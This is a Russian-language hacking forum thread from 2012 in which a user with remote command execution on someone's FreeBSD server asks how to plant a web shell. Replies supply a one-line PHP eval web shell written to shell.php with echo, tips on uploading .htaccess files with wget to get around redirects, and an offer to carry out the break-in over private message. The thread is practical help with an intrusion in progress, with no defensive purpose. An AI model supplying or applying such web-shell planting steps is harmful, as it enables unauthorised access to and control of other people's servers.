как залить шелл? помогите, могу удалённ

Discussion in 'Болталка' started by Student :), 2 Apr 2012.

  1. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    С помощью уязвимости могу удалённо выполнять команды
    ls -la
    mkdir
    wged работает, но при открытие шела выскакивает
    Moved Permanently
    The document has moved here.
    система FreeBSD
    какой командой можно создать файлик с мини шелом на сервере?
     
  2. sl1k

    sl1k Member

    Joined:
    31 Jul 2009
    Messages:
    106
    Likes Received:
    26
    Reputations:
    5
    echo "<?php eval($_REQUEST['cmd']);?>" >> shell.php
     
  3. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    а почему выскакивает Moved Permanently
    The document has moved here. ?
     
  4. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    echo "<?php eval($_REQUEST['cmd']);?>" >> shell.php
    не получилось может нужно полный путь указывать?
     
  5. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    326
    Likes Received:
    177
    Reputations:
    76
    wget'ом, коли он работает, и папка доступна для записи, закачайте в ту директорию, куда пытаетесь залить шелл, пустой .htaccess(в случае если мы говорим про Апач) Этим можно помочь избежать редиректа по шаблону, который, скорее всего осуществляется корневым .htaccess для определенныx директорий(папок), куда вы пытаетесь обратиться через браузер. (Но возможно появление 500-ой ошибки, так что на свой страх и риск)
     
  6. sl1k

    sl1k Member

    Joined:
    31 Jul 2009
    Messages:
    106
    Likes Received:
    26
    Reputations:
    5
    ну попробуй полный путь прописать, но эт смотря че за уязвимость у тебя
    и для начала если уж ты можешь выполнять bash команды, то просмотри права на директорию
     
  7. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    да выскочила 500 ошибка
     
  8. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    а какой лучше залить .htaccess?
     
  9. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    326
    Likes Received:
    177
    Reputations:
    76
    Ок, тогда перепишите пустой .htaccess другим, такого содержания.

    Options +FollowSymLinks
    RewriteEngine on

    И закачайте его опять wget'ом.

    Если не поможет, то вариантов у меня больше нет.

    P.S. Но это скорее гадание на кофейной гуще, поскольку хз, как работает корневой .htaccess, и какие модули Апача включены.
     
  10. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    спасибо но к сожалению 500 ошибка
     
  11. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,051
    Likes Received:
    615
    Reputations:
    690
    или линк в ПМ (за минуты можно залиться) или пробуй /showthread.php?t=191917
     
    _________________________
  12. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    326
    Likes Received:
    177
    Reputations:
    76
    А команды вы еще можете выполнять, через свою уязвимость? Листинг директорий и прочее?

    Если можете, то очевидно, что
    PHP:
    rm .htaccess
    (в той директории, с которой работаете, и куда заливались) - пропадет 500 ошибка, но проблема с редиректом, ессно, останется.

    P.S. ТС, отпишись, как будет возможность, залился ты или нет - мы все тут за тебя переживаем же :3
     
    #12 Га-Ноцри, 2 Apr 2012
    Last edited: 2 Apr 2012